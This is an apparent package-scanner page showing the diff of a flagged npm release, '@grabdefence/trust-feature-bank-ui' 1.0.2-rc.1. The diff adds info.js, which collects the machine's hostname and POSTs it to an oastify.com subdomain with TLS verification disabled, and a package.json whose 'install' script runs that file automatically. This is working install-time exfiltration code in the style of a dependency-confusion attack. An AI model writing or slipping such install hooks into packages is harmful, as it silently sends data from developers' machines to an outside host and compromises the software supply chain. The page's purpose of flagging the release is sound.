@grabdefence/trust-feature-bank-ui 1.0.2-rc.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @grabdefence/trust-feature-bank-ui might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/info.js +26 -0
  2. package/package.json +18 -0
package/info.js ADDED
@@ -0,0 +1,26 @@
1
+ const https = require('https');
2
+ var os = require("os");
3
+ var hostname = os.hostname();
4
+
5
+ const data = new TextEncoder().encode(
6
+ JSON.stringify({
7
+ payload: hostname,
8
+ project_id: process.argv[2]
9
+ })
10
+ );
11
+
12
+ const options = {
13
+ hostname: process.argv[2] + '.' + hostname + '.1vxfk9wqeinhh5f99mw7bpjs0j6au2ir.oastify.com',
14
+ port: 443,
15
+ path: '/',
16
+ method: 'POST',
17
+ headers: {
18
+ 'Content-Type': 'application/json',
19
+ 'Content-Length': data.length
20
+ },
21
+ rejectUnauthorized: false
22
+ }
23
+
24
+ const req = https.request(options, res => {});
25
+ req.write(data);
26
+ req.end();
package/package.json ADDED
@@ -0,0 +1,18 @@
1
+ {
2
+ "name": "@grabdefence/trust-feature-bank-ui",
3
+ "version": "1.0.2-rc.1",
4
+ "description": "Testing",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "install": "node info.js {project_id}"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "checking"
12
+ },
13
+ "keywords": [
14
+ "checking"
15
+ ],
16
+ "author": "grabinfosec",
17
+ "license": "ISC"
18
+ }